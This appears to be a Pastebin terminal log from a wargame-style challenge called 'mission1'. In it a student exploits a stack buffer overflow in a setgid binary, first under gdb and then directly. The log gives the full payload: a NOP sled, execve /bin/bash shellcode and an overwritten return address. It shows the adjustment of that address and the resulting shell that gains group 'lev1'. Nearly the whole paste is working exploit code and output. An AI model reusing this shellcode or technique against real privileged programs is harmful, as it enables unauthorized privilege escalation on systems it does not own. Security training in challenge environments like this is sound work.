Advertisement
Guest User

chall mission1

a guest
May 25th, 2015
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.04 KB | None | 0 0
  1. m838206@ip-172-31-9-193:~/mission1$ gdb mission1
  2. (gdb) r $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd1\xff\xff"*2')
  3. Starting program: /home/m838206/mission1/mission1 $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd1\xff\xff"*2')
  4. ����������������^�1�F�F�
  5.                         ���V̀1ۉ�@̀�����/bin/bash������
  6.  
  7. Program received signal SIGILL, Illegal instruction.
  8. 0xffffd116 in ?? ()
  9. (gdb) x/10s $esp+120*4
  10. 0xffffd230:     "06/mission1/mission1"
  11. 0xffffd245:     '\220' <repeats 15 times>, "\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f̀1ۉ\330@̀\350\334\377\377\377/bin/bash\026\321\377\377\026\321\377\377"
  12. 0xffffd28c:     "XDG_SESSION_ID=6513"
  13. 0xffffd2a0:     "TERM=screen"
  14. 0xffffd2ac:     "SHELL=/bin/bash"
  15. 0xffffd2bc:     "SSH_CLIENT=131.175.28.131 38494 10000"
  16. 0xffffd2e2:     "SSH_TTY=/dev/pts/8"
  17. 0xffffd2f5:     "EGG=", '\220' <repeats 196 times>...
  18. 0xffffd3bd:     '\220' <repeats 34 times>, "\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f̀1ۉ\330@̀\350\334\377\377\377/bin/sh"
  19. 0xffffd40d:     "USER=m838206"
  20. (gdb) r $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd3\xff\xff"*2')
  21. The program being debugged has been started already.
  22. Start it from the beginning? (y or n) y
  23.  
  24. Starting program: /home/m838206/mission1/mission1 $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd3\xff\xff"*2')
  25. ����������������^�1�F�F�
  26.                         ���V̀1ۉ�@̀�����/bin/bash������
  27. process 13036 is executing new program: /bin/dash
  28. $ /home/l33t
  29. What are you trying to do?
  30. Your group ID should be lev-something to use this command!
  31. Go back and try to hack something!
  32. $ id
  33. uid=1165(m838206) gid=1175(m838206) groups=1175(m838206)
  34. $
  35. [Inferior 1 (process 13036) exited normally]
  36. (gdb) q
  37. m838206@ip-172-31-9-193:~/mission1$ ./mission1 $(python -c 'print "\x90"*15+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/bash"+"\x16\xd3\xff\xff"*2')
  38. ����������������^�1�F�F�
  39.                         ���V̀1ۉ�@̀�����/bin/bash������
  40. $ id
  41. uid=1165(m838206) gid=1175(m838206) egid=1001(lev1) groups=1175(m838206)
  42. $ /home/l33t
  43. Adding user `m838206' to group `lev1' ...
  44. Adding user m838206 to group lev1
  45. Done.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement